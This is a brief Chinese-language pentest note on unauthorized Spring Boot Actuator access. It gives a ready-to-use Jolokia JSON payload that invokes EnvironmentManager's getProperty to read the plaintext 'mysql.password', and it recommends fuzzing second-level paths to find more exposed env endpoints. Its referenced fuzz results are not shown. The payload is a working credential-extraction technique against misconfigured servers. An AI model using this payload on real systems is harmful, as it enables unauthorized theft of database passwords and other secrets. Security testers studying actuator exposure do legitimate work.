测试发现spring boot actuator接口未授权访问：
之前写过用mat工具获取加密数据的明文，下面尝试通过jolokia接口获取明文数据：
payload：
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["mysql.password"]}
开始正题，发现这种二极目录下的spring boot actuator接口未授权后，可以尝试针对其他二极目录进行访问尝试，或者直接fuzz二级目录接口，fuzz如下：
fuzz出一个二级目录，查看env接口：
这样一来我们就可以获取更多的加密数据的信息。